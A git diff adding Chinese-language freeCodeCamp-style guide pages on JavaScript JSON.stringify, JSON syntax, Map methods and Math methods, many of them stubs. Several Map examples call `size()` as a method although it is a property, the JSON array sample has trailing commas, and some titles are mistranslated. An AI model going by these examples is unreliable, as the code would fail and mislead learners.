+  var a = { 
+    b: 42, 
+    c: "42", 
+    d: [1,2,3] 
+  }; 
+ 
+  JSON.stringify( a, null, 3 ); 
+  // "{ 
+  //    "b": 42, 
+  //    "c": "42", 
+  //    "d": [ 
+  //       1, 
+  //       2, 
+  //       3 
+  //    ] 
+  // }" 
+ 
+  JSON.stringify( a, null, "-----" ); 
+  // "{ 
+  // -----"b": 42, 
+  // -----"c": "42", 
+  // -----"d": [ 
+  // ----------1, 
+  // ----------2, 
+  // ----------3 
+  // -----] 
+  // }" 
+```
+
+#### 更多信息：
+
+请参阅[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/json/json-syntax/index.md b/client/src/guide/chinese/javascript/standard-objects/json/json-syntax/index.md
new file mode 100644
index 0000000000..f78daa8e5a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/json/json-syntax/index.md
@@ -0,0 +1,112 @@
+---
+title: JSON Syntax
+localeTitle: JSON语法
+---
+## JSON语法
+
+JSON语法是JavaScript语法的子集。
+
+### JSON语法规则
+
+*   JSON Object是一组无序的名称/值对。
+*   对象名后跟冒号（:)。
+*   大括号{}用于保持对象。对象以{（左大括号）开头，以}结尾（右大括号）。
+*   JSON对象数据表示为名称/值对的集合。
+*   每个名称/值对用逗号（，）分隔
+*   方括号\[\]用于保存数组。
+
+### JSON数据 - 名称和值
+
+JSON数据被写为名称/值对。
+
+名称/值对由字段名称（双引号），后跟冒号，后跟值组成：
+```
+"handle":"moghya" 
+```
+
+*   JSON名称需要双引号。
+
+### JSON - 评估JavaScript对象
+
+JSON格式几乎与JavaScript对象相同。
+
+在JSON中，键必须是字符串，用双引号编写：
+
+*   JSON
+```
+"handle":"moghya" 
+```
+
+*   JavaScript的
+```
+handle:"moghya" 
+```
+
+### JSON值
+
+在JSON中，值必须是以下数据类型之一：
+
+*   一个字符串
+*   一个号码
+*   一个对象（JSON对象）
+*   数组
+*   布尔值
+*   空值
+
+在JavaScript中，值可以是以上所有，以及任何其他有效的JavaScript表达式，包括：
+
+*   一个功能
+*   一个约会
+*   未定义
+
+### JSON使用JavaScript语法
+
+因为JSON语法是从JavaScript对象表示法派生的，所以在JavaScript中使用JSON需要很少的额外软件。
+
+使用JavaScript，您可以创建一个对象并为其分配数据，如下所示：
+```
+var person = { 
+  "name":"Shubham", 
+  "age":21, 
+  "handle":"moghya", 
+  "website":"http://moghya.me/" 
+  }; 
+```
+
+您可以像这样访问JavaScript对象：
+```
+//returns moghya 
+ person.handle; 
+```
+
+它也可以像这样访问：
+```
+//returns http://moghya.me/ 
+ person["website"]; 
+```
+
+### JSON中的数组
+```
+var team = { 
+  "name":"novatoscript", 
+  "members" : 
+  [ 
+    { 
+      "name":"Shubham Sawant", 
+      "age":21, 
+      "handle":"moghya", 
+      "website":"http://moghya.me", 
+    }, 
+    { 
+      "name":"Saurabh Banore", 
+      "age":21, 
+      "handle":"banoresaurabh", 
+      "website":"http://banoresaurabh.me/", 
+    } 
+  ] 
+ } 
+```
+
+### 例
+
+这里有一个非常大的JSON示例[！](http://moghya.me/js/profile.json) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/index.md b/client/src/guide/chinese/javascript/standard-objects/map/index.md
new file mode 100644
index 0000000000..3fa327722b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/index.md
@@ -0,0 +1,34 @@
+---
+title: Map
+localeTitle: 地图
+---
+## 地图
+
+`[key, value]`条目的映射，其中键和值可以是任何值（对象和原始值）。
+
+## 句法
+
+```javascript
+new Map([iterable]) 
+```
+
+## 参数
+
+**iterable**一个Array或其他可迭代对象，其元素是键值对。
+
+## 例
+
+```javascript
+// basic usage 
+ const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ myMap.get('foo');   // returns 1 
+ myMap.get('baz');   // returns 3 
+ myMap.get('hihi');  // return undefined 
+ 
+ myMap.size();   // 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-clear/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-clear/index.md
new file mode 100644
index 0000000000..f93fa1689d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-clear/index.md
@@ -0,0 +1,32 @@
+---
+title: Map.prototype.clear
+localeTitle: Map.prototype.clear
+---
+## Map.prototype.clear
+
+从`Map`对象中删除所有元素。返回`undefined` 。
+
+## 句法
+
+```javascript
+myMap.clear(); 
+```
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+ myMap.has('foo'); // true; 
+ 
+ myMap.clear(); 
+ 
+ myMap.size(); // 0 
+ myMap.has('foo'); // false 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-delete/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-delete/index.md
new file mode 100644
index 0000000000..521a950ebd
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-delete/index.md
@@ -0,0 +1,36 @@
+---
+title: Map.prototype.delete
+localeTitle: Map.prototype.delete
+---
+## Map.prototype.delete
+
+从`Map`对象中删除指定的元素。 返回是否找到并成功删除密钥。
+
+## 句法
+
+```javascript
+myMap.delete(key); 
+```
+
+## 参数
+
+**密钥**必需。
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+ myMap.has('foo'); // true; 
+ 
+ myMap.delete('foo');  // Returns true. Successfully removed. 
+ 
+ myMap.size(); // 2 
+ myMap.has('foo');    // Returns false. The "foo" element is no longer present. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-entries/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-entries/index.md
new file mode 100644
index 0000000000..ed91a2e41e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-entries/index.md
@@ -0,0 +1,30 @@
+---
+title: Map.prototype.entries
+localeTitle: Map.prototype.entries
+---
+## Map.prototype.entries
+
+返回一个新的`Iterator`对象，该对象包含插入顺序中`Map`对象中每个元素的`[key, value]`对。
+
+## 句法
+
+```javascript
+myMap.entries() 
+```
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ var iterator = myMap.entries(); 
+ 
+ console.log(iterator.next().value); // ['foo', 1] 
+ console.log(iterator.next().value); // ['bar', 2] 
+ console.log(iterator.next().value); // ['baz', 3] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-foreach/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-foreach/index.md
new file mode 100644
index 0000000000..b32f8e27f1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-foreach/index.md
@@ -0,0 +1,36 @@
+---
+title: Map.prototype.forEach
+localeTitle: Map.prototype.forEach
+---
+## Map.prototype.forEach
+
+按插入顺序对`Map`对象中的每个键/值对执行一次提供的函数。 返回`undefined` 。
+
+## 句法
+
+```javascript
+myMap.forEach(callback, thisArg) 
+```
+
+## 参数
+
+**callback**要为每个元素执行的函数。 **thisArg**执行回调时用作此值的值。
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ function valueLogger(value, key, map){ 
+    console.log(`${value}`); 
+ } 
+ 
+ myMap.forEach(valueLogger); 
+ // 1 
+ // 2 
+ // 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-get/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-get/index.md
new file mode 100644
index 0000000000..3fc39716ce
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-get/index.md
@@ -0,0 +1,31 @@
+---
+title: Map.prototype.get
+localeTitle: Map.prototype.get
+---
+## Map.prototype.get
+
+从`Map`对象返回指定键的值。
+
+## 句法
+
+```javascript
+myMap.get(key); 
+```
+
+## 参数
+
+**密钥**必需。
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ myMap.get('foo');   // returns 1 
+ myMap.get('baz');   // returns 3 
+ myMap.get('hihi');  // return undefined 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-has/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-has/index.md
new file mode 100644
index 0000000000..09d69b5aaa
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-has/index.md
@@ -0,0 +1,48 @@
+---
+title: Map.prototype.has
+localeTitle: Map.prototype.has
+---
+## Map.prototype.has
+
+给定带有元素的`Map` ， `has()`函数允许您根据传递的键确定Map中是否存在元素。
+
+`has()`函数返回一个_`Boolean`元_ （ `true`或`false` ），表示Map包含元素。
+
+将`key`参数传递给`has()`函数，该函数将用于在Map中查找具有该键的元素。
+
+例：
+
+```js
+// A simple Map 
+ const campers = new Map(); 
+ 
+ // add some elements to the map 
+ // each element's key is 'camp' and a number 
+ campers.set('camp1', 'Bernardo'); 
+ campers.set('camp2', 'Andrea'); 
+ campers.set('camp3', 'Miguel'); 
+ 
+ // Now I want to know if there's an element 
+ // with 'camp4' key: 
+ campers.has('camp4'); 
+ // output is `false` 
+```
+
+`campers` Map目前没有带`'camp4'`键的元素。因此， `has('camp4')`函数调用将返回`false` 。
+
+```js
+// If we add an element with the 'camp4' key to the map 
+ campers.set('camp4', 'Ana'); 
+ 
+ // and try looking for that key again 
+ campers.has('camp4'); 
+ // output is `true` 
+```
+
+由于地图现在确实有一个带有`'camp4'`键的元素，所以`has('camp4')`函数调用此时将返回`true` ！
+
+在更真实的场景中，您可能不会自己手动将元素添加到Map中，因此`has()`函数在这些情况下将变得非常有用。
+
+#### 更多信息：
+
+*   [MDN上的Map.prototype.has（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/has)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-keys/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-keys/index.md
new file mode 100644
index 0000000000..72733a8334
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-keys/index.md
@@ -0,0 +1,30 @@
+---
+title: Map.prototype.keys
+localeTitle: Map.prototype.keys
+---
+## Map.prototype.keys
+
+返回一个新的`Iterator`对象，该对象包含插入顺序中`Map`对象中每个元素的键。
+
+## 句法
+
+```javascript
+myMap.keys() 
+```
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ const iterator = myMap.keys(); 
+ 
+ console.log(iterator.next().value); // 'foo' 
+ console.log(iterator.next().value); // 'bar' 
+ console.log(iterator.next().value); // 'baz' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-set/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-set/index.md
new file mode 100644
index 0000000000..c5bb1457b4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-set/index.md
@@ -0,0 +1,34 @@
+---
+title: Map.prototype.set
+localeTitle: Map.prototype.set
+---
+## Map.prototype.set
+
+将具有指定键和值的元素设置或更新为`Map`对象。返回`map`对象。
+
+## 句法
+
+```javascript
+myMap.set(key, value); 
+```
+
+## 参数
+
+**密钥**必需。 **值**必需。
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ 
+ // sets new elements 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ // Updates an element 
+ myMap.set('foo', 100); 
+ 
+ myMap.get('foo');   // returns 100 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-size/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-size/index.md
new file mode 100644
index 0000000000..e304b32bce
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-size/index.md
@@ -0,0 +1,26 @@
+---
+title: Map.prototype.size
+localeTitle: Map.prototype.size
+---
+## Map.prototype.size
+
+返回`Map`对象中的元素数。
+
+## 句法
+
+```javascript
+myMap.size(); 
+```
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-values/index.md b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-values/index.md
new file mode 100644
index 0000000000..331157fd08
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/map/map-prototype-values/index.md
@@ -0,0 +1,29 @@
+---
+title: Map.prototype.values
+localeTitle: Map.prototype.values
+---
+## Map.prototype.values
+
+返回一个迭代器对象，该对象包含插入顺序中`Map`对象中每个元素的值。
+
+## 句法
+
+```javascript
+myMap.values() 
+```
+
+## 例
+
+```javascript
+const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ const iterator = myMap.values(); 
+ console.log(iterator.next().value); // 1 
+ console.log(iterator.next().value); // 2 
+ console.log(iterator.next().value); // 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/index.md b/client/src/guide/chinese/javascript/standard-objects/math/index.md
new file mode 100644
index 0000000000..6241726ffe
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/index.md
@@ -0,0 +1,23 @@
+---
+title: Math
+localeTitle: 数学
+---
+## 数学
+
+`Math`是JavaScript的标准内置对象，包含数学常量和函数作为属性和方法。最值得注意的是它包含常量π和Euler常量以及诸如`floor()` ， `round()` ， `ceil()`等函数。
+
+### 例
+
+以下示例显示如何使用`Math`对象编写计算圆的面积的函数：
+
+```javascript
+function calculateCircleArea(radius) { 
+  return Math.PI * Math.pow(radius, 2); 
+ } 
+ calculateCircleArea(1); // 3.141592653589793 
+```
+
+### 其他资源
+
+*   [MDN网络文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math)
+*   [W3Schools的](https://www.w3schools.com/js/js_math.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-abs/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-abs/index.md
new file mode 100644
index 0000000000..b35a4d3097
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-abs/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Abs
+localeTitle: 数学学士
+---
+## 数学学士
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-abs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-acos/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-acos/index.md
new file mode 100644
index 0000000000..694db2a793
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-acos/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Acos
+localeTitle: 数学Acos
+---
+## 数学Acos
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-acos/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-acosh/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-acosh/index.md
new file mode 100644
index 0000000000..ecfedbd5ef
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-acosh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Acosh
+localeTitle: 数学阿科什
+---
+## 数学阿科什
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-acosh/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-asin/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-asin/index.md
new file mode 100644
index 0000000000..be54418158
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-asin/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Asin
+localeTitle: 数学Asin
+---
+## 数学Asin
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-asin/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-asinh/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-asinh/index.md
new file mode 100644
index 0000000000..f397d8553c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-asinh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Asinh
+localeTitle: 数学Asinh
+---
+## 数学Asinh
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-asinh/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-atan/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-atan/index.md
new file mode 100644
index 0000000000..3dcd618ebd
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-atan/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atan
+localeTitle: 数学阿坦
+---
+## 数学阿坦
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atan/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-atan2/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-atan2/index.md
new file mode 100644
index 0000000000..a95f96eb7f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-atan2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atan2
+localeTitle: 数学Atan2
+---
+## 数学Atan2
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atan2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-atanh/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-atanh/index.md
new file mode 100644
index 0000000000..5fefc5d5ae
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-atanh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atanh
+localeTitle: 数学Atanh
+---
+## 数学Atanh
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atanh/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-cbrt/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-cbrt/index.md
new file mode 100644
index 0000000000..6ecc6f8cac
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-cbrt/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cbrt
+localeTitle: 数学Cbrt
+---
+## 数学Cbrt
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cbrt/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-ceil/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-ceil/index.md
new file mode 100644
index 0000000000..766075d416
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-ceil/index.md
@@ -0,0 +1,22 @@
+---
+title: Math Ceil
+localeTitle: 数学Ceil
+---
+## 数学Ceil
+
+`Math.ceil()`是Math标准对象的一种方法，它将给定数字向上舍入到下一个整数。请注意，对于负数，这意味着该数字将被“舍入为0”而不是更大的绝对值数（参见示例）。
+
+### 例子
+
+```javascript
+Math.ceil(0.1)  //  1 
+ Math.ceil(1.3)  //  2 
+ Math.ceil(-0.9) // -0 
+ Math.ceil(-1.5) // -1 
+```
+
+### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil)
+*   [W3Schools的](https://www.w3schools.com/jsref/jsref_ceil.asp)
+*   [维基百科](https://en.wikipedia.org/wiki/Floor_and_ceiling_functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-clz32/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-clz32/index.md
new file mode 100644
index 0000000000..7860636895
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-clz32/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Clz32
+localeTitle: 数学Clz32
+---
+## 数学Clz32
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-clz32/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-cos/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-cos/index.md
new file mode 100644
index 0000000000..4782bf2902
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-cos/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cos
+localeTitle: 数学Cos
+---
+## 数学Cos
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cos/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-cosh/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-cosh/index.md
new file mode 100644
index 0000000000..a84126350f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-cosh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cosh
+localeTitle: 数学Cosh
+---
+## 数学Cosh
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cosh/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-e/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-e/index.md
new file mode 100644
index 0000000000..7fb07a211b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-e/index.md
@@ -0,0 +1,11 @@
+---
+title: Math E
+localeTitle: 数学E.
+---
+## 数学E.
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-e/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-exp/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-exp/index.md
new file mode 100644
index 0000000000..caa11d09d9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-exp/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Exp
+localeTitle: 数学实验
+---
+## 数学实验
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-exp/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-expm1/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-expm1/index.md
new file mode 100644
index 0000000000..a0f4b059d8
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-expm1/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Expm1
+localeTitle: 数学Expm1
+---
+## 数学Expm1
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-expm1/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-floor/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-floor/index.md
new file mode 100644
index 0000000000..95e390cf32
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-floor/index.md
@@ -0,0 +1,23 @@
+---
+title: Math Floor
+localeTitle: 数学楼层
+---
+## 数学楼层
+
+`Math.floor()`是Math标准对象的一种方法，它将给定数字向下舍入到下一个整数。请注意，对于负数，这意味着数字将从“0”而不是更小的绝对值舍入，因为`Math.floor()`返回小于或等于给定数字的最大整数。
+
+### 例子
+
+```javascript
+Math.floor(0.9)  //  0 
+ Math.floor(1.3)  //  1 
+ Math.floor(0.5)  //  0 
+ Math.floor(-0.9) // -1 
+ Math.floor(-1.3) // -2 
+```
+
+### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor)
+*   [W3Schools的](https://www.w3schools.com/jsref/jsref_floor.asp)
+*   [维基百科](https://en.wikipedia.org/wiki/Floor_and_ceiling_functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-fround/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-fround/index.md
new file mode 100644
index 0000000000..9118ce5ffb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-fround/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Fround
+localeTitle: 数学Fround
+---
+## 数学Fround
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-fround/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-hypot/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-hypot/index.md
new file mode 100644
index 0000000000..4603dc69e6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-hypot/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Hypot
+localeTitle: 数学Hypot
+---
+## 数学Hypot
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-hypot/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/math/math-imul/index.md b/client/src/guide/chinese/javascript/standard-objects/math/math-imul/index.md
new file mode 100644
index 0000000000..a571b1902c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/math/math-imul/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Imul
+localeTitle: 数学最底部
+---
+## 数学Imul
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-imul/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
